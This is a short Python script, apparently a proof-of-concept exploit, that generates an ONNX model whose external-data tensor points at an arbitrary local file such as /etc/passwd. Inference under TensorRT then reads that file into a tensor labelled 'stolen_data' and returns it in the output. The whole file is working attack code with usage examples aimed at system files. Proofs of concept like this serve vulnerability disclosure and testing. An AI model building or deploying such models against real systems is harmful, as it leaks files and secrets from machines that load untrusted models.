|
|
| """
|
| Create a malicious ONNX model that reads an arbitrary file via TensorRT.
|
|
|
| Usage:
|
| python create_malicious_model.py /path/to/target/file output.onnx [bytes_to_read]
|
|
|
| Example:
|
| python create_malicious_model.py C:/Windows/win.ini exploit.onnx
|
| python create_malicious_model.py /etc/passwd exploit.onnx 1024
|
| """
|
| from onnx import TensorProto, helper
|
| import sys
|
| import os
|
|
|
| def create(target_path, output_path, read_bytes):
|
| n_floats = read_bytes // 4
|
|
|
| tensor = TensorProto()
|
| tensor.name = "stolen_data"
|
| tensor.data_type = TensorProto.FLOAT
|
| tensor.dims.extend([n_floats])
|
| tensor.data_location = TensorProto.EXTERNAL
|
|
|
| for k, v in [("location", target_path), ("offset", "0"), ("length", str(read_bytes))]:
|
| entry = tensor.external_data.add()
|
| entry.key = k
|
| entry.value = v
|
|
|
| X = helper.make_tensor_value_info("input", TensorProto.FLOAT, [n_floats])
|
| Y = helper.make_tensor_value_info("output", TensorProto.FLOAT, [n_floats])
|
| node = helper.make_node("Add", ["input", "stolen_data"], ["output"])
|
| graph = helper.make_graph([node], "exploit", [X], [Y], initializer=[tensor])
|
| model = helper.make_model(graph, opset_imports=[helper.make_opsetid("", 13)])
|
|
|
| with open(output_path, 'wb') as f:
|
| f.write(model.SerializeToString())
|
| print(f"[+] Model saved: {output_path} ({os.path.getsize(output_path)} bytes)")
|
| print(f"[+] Target: {target_path} ({read_bytes} bytes)")
|
|
|
| if __name__ == "__main__":
|
| if len(sys.argv) < 3:
|
| print(f"Usage: {sys.argv[0]} <target_file> <output.onnx> [bytes]")
|
| sys.exit(1)
|
| target = sys.argv[1]
|
| output = sys.argv[2]
|
| nbytes = int(sys.argv[3]) if len(sys.argv) > 3 else 1024
|
| nbytes = (nbytes // 4) * 4
|
| create(target, output, nbytes)
|
|
|
